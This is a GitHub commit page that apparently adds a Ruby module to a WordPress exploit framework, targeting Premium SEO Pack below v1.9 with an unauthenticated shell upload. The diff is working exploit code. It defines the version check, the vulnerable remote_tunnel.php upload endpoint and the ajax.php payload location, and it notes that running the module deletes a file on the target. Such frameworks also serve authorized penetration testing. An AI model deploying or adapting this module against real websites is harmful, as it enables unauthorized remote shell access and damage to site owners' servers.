Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit c2a816b

Browse files
committed
Add Premium SEO Pack < v1.9 unauthenticated shell upload
1 parent 0afeaff commit c2a816b

File tree

1 file changed

+31
-0
lines changed

1 file changed

+31
-0
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
class Wpxf::Exploit::PremiumSeoPackShellUpload < Wpxf::Exploit::WoocommerceAmazonAffiliatesV8ShellUpload
2+
def initialize
3+
super
4+
5+
update_info(
6+
name: 'Premium SEO Pack < v1.9 Unauthenticated Shell Upload',
7+
references: [
8+
['WPVDB', '7934']
9+
]
10+
)
11+
end
12+
13+
def emit_usage_info
14+
emit_warning 'When executing this module, the ajax.php file in premium-seo-pack/modules/remote_support will be deleted. '\
15+
'In order to be able to re-use this module on the same target, be sure to re-create ajax.php if ' \
16+
'the selected payload is unable to re-create it automatically.'
17+
end
18+
19+
def check
20+
readme = normalize_uri(wordpress_url_plugins, 'premium-seo-pack', 'changelog.txt')
21+
check_version_from_custom_file(readme, /##\s\[(\d\.\d(\.\d)*)\]/, '1.9')
22+
end
23+
24+
def uploader_url
25+
normalize_uri(wordpress_url_plugins, 'premium-seo-pack', 'modules', 'remote_support', 'remote_tunnel.php')
26+
end
27+
28+
def uploaded_payload_location
29+
normalize_uri(wordpress_url_plugins, 'premium-seo-pack', 'modules', 'remote_support', 'ajax.php')
30+
end
31+
end

0 commit comments

Comments
 (0)